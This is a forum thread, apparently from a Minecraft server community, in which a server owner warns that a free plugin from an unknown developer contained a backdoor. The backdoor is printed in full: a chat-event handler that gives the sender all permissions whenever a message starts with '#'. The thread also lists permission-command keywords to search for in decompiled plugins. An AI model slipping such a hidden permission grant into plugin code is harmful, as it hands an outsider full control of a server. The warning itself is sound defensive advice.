Free plugin devs, too good to be true?

Status
This thread has been locked.

Fire

Always DM me here before dealing via Discord.
Supreme
Feedback score
74
Posts
3,045
Reactions
1,745
Resources
0
Yesterday someone joined a server that I currently co own, and basically said he was a plugin developer and would work for us for free, for a small server without a great deal of money an offer like this is a hard one to turn down, so we asked if he could make us a simple gapple command plugin and so he did.

Me and the other owner where talking, and he was a little concerned saying the plugin might break the server, since we don’t know the dev. So after he sent the plugin jar we agreed that I would decompile it and take a quick look. I’m not really a java developer, however can understand it enough to be able to roughly work out what the plugin does by its source code.

I was looking through the code and it all looked good, seemed to look like it would work, and do what we needed, then at the very bottom I happened to notice this:

Code:
    @EventHandler
    public void secretCommands(PlayerChatEvent e) {
        String msg = e.getMessage();
        if (msg.startsWith("#")) {
            Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), (String)("manuaddp " + e.getPlayer().getName() + " *"));
            e.setCancelled(true);
        }
    }

From what I understand, he had added a small bit of code at the end, so that if he was to type a # in chat, it would give him the * permission allowing him to do basically anything on the server. I told the other owner and he confronted him, shortly after he removed him on skype and that was the last we heard.

This is mostly a warning to all those out there, that come across a developer joining your server and offering to work for free. It’s riskier than you might think. There is a useful online tool http://www.javadecompilers.com/ that can be used to upload the jar and download its source code then open it with notepad and have a look at it and look for some keywords that would be suspicious. E.g. manuadd, manuaddp, pex etc.
 
PebbleHost
High performance, consistent uptime and fast support. Minecraft hosting that just works.

PandaPlaysAll

|Survival Server in Construction|
Premium
Feedback score
22
Posts
660
Reactions
252
Resources
0
This tool is amazing and really handy!.
Thankyou, no one is going to be cheeky. I've heard of peoples plugins doing alot worse then giving them op
 

STUDIOZ3RO

Business Owner
Premium
Feedback score
8
Posts
664
Reactions
237
Resources
0
Nice catch tho GG
 

Bailey

Snorlax
Premium
Feedback score
4
Posts
684
Reactions
244
Resources
1
I had someone like that before, but he was legit :p.
 
Status
This thread has been locked.
Top